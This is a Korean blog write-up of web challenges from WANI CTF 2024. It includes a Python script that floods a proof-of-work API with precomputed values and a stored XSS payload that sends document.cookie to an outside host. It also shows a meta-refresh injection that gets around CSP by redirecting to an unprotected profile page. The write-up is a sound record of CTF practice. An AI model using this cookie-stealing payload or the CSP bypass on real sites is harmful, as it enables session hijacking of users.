-
WANI CTF - 2024대회/2024 2024. 6. 28. 19:25
일본 오사카 대학 CTF 동아리 Wani Hackase가 주관하는 WANI CTF에 참가하였다.
MISC / Web / System / Forensics / Crypto / Reversing / Pwnable 로 구성되어 있으며 Web 위주의 문제를 해결하였다.
POW
client localStorage에서 "pow_progress"가 증가하여 표시가 됨
해당 값을 CryptoJS.SHA256을 이용하여 해시를 10번 진행하고 0xFFFFFF00이랑 비트 연산을 하여 값을 비교
또한 array []로 저장하여 JSON.stringify를 사용하여 json타입으로 변환 후 /api/pow로 보내게 된다.
따라서 해당 값을 찾아 array로 만든 후 데이터를 전송하면 된다.
여기서 값을 하나 씩 보내면 너무 적으므로 서버가 받을 수 있는 양과 시간을 조심해서 패킷을 만들면 된다.
import requests import time import json url = "https://web-pow-lz56g6.wanictf.org/api/pow" headers = { "Cookie": "pow_session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiIxNmUxNzAxNS1iNWU1LTQ3MDItYjQ2OS0xMzJkOGYyMWM5NzkifQ.lYZk9JqeBaaT6NboibOqMtWGtfimHjxxyhvbOLPi7Y0", } data_array1 = ["45707619"] * 87000 data_array2 = ["52592778"] * 87000 data_array3 = ["69994497"] * 87000 data_array4 = ["63001396"] * 87000 # JSON 형식으로 변환 json_data1 = json.dumps(data_array1) json_data2 = json.dumps(data_array2) json_data3 = json.dumps(data_array3) json_data4 = json.dumps(data_array4) # print(json_data) for i in range(1, 100000): if i % 4 == 0: print("sleeping...") time.sleep(5) res = requests.post(url, data=json_data1, headers=headers) print(res.status_code) time.sleep(1) res = requests.post(url, data=json_data2, headers=headers) print(res.status_code) time.sleep(1) res = requests.post(url, data=json_data3, headers=headers) print(res.status_code) time.sleep(1) res = requests.post(url, data=json_data4, headers=headers) print(res.status_code) time.sleep(1)
NoScript
CSP가 적용된 문제를 우회하여 해결하는 문제이다
/username/:id 부분에 똑같이 user profile을 불러오지만 CSP가 적용되지 않음을 볼 수 있다.
이를 통해 Username에 쿠키를 탈취하는 script를 profile에 meta를 이용해서 페이지 리다이렉션을 시킨다.
<script>location.href="https://example.com?coo"+document.cookie</script>
</p></body></html><html><head><meta http-equiv="refresh" content="5;URL='/username/d253fc5b-14b9-4291-9ac1-c7c89f61c9bc"></head><body><p>
Wani CTF를 풀어보면서 CSP(Content Security Policy)라는 것을 알게 되었고, 적용되지 않은 페이지가 있다면 해당 페이지로 이동하여 작동하는 원리를 알게 되었다.
'대회 > 2024' 카테고리의 다른 글
AKASEC CTF 2024 (1) 2024.06.21